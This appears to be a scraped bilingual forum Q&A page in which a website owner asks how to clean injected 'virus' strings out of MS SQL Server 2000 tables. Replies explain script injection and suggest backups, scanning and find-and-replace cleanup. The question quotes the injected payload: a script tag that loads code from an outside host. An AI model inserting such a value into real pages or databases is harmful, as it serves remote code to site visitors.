如何从Sql表中删除病毒 [英] How to remove virus from Sql tables

问题描述

先生，



我在服务器上创建了一个网站和主机，网站运行良好，我在MS SQL SERVER 2000中创建表。在表格中行和列数据受病毒影响。那么如何从表中删除病毒或如何避免病毒在表中受到影响。请帮助我删除病毒，这是非常紧急的。



病毒数据为：>< / title>< script src =http://ngr61ail.rr.nu/sl.ph

解决方案

这称为HTML注入（或脚本注入），最好的办法是确保它不会在源头发生。从Wiki开始：它将告诉您有关该主题的信息，包括避免它的方法： http://en.wikipedia.org/wiki/ Code_injection [ ^ ]



你必须通过查看数据库中的每个文本字段来自己清理数据，我担心！

表不能直接托管病毒。

看起来您的服务器已被病毒感染 - 这反过来又损坏了服务器。



尝试运行病毒扫描程序在你的服务器上。



就数据而言，希望你有一个数据库备份。

请申请虚拟数据库或保持备份



1.您可以在xls中导出表格并用''

替换该字符串，然后重新导入数据xls sheet



2.使用sql函数来r epair数据，访问这个艺术，

http://www.mssqltips.com/sqlservertip/1555/sql-server-find-and-replace-values-in-all-tables-and-all- text-columns / [ ^ ]



快乐编码！

：）

Sir,

I have created one website and host in server, the website is work very well, I Create tables in MS SQL SERVER 2000. In tables all rows and columns data are affected by virus. so how can i remove the virus from table OR how to avoid virus affected in table. Please help me to remove the virus it's very urgent.

Virus data is : "></title><script src="http://ngr61ail.rr.nu/sl.ph

解决方案

This is called HTML Injection (or Script injection) and the best thing to do is to ensure it doesn't happen at source. Start with Wiki: it will tell you about the subject, including ways to avoid it: http://en.wikipedia.org/wiki/Code_injection[^]

You will have to clean your data yourself by looking at every text field in your database, I'm afraid!

A table cannot directly host a virus.
It looks like your server has been infected by a virus - this has in turn corrupted the server.

Try running a virus scanner on your server.

As far as the data is concerned, hope you have a database backup.

please apply on dummy database or keep backup

1. you can export tables in xls and replace that string with ''
and then re-import data from xls sheet

2. use sql function to repair data, take visit of this artical,
http://www.mssqltips.com/sqlservertip/1555/sql-server-find-and-replace-values-in-all-tables-and-all-text-columns/[^]

Happy Coding!
:)

这篇关于如何从Sql表中删除病毒的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！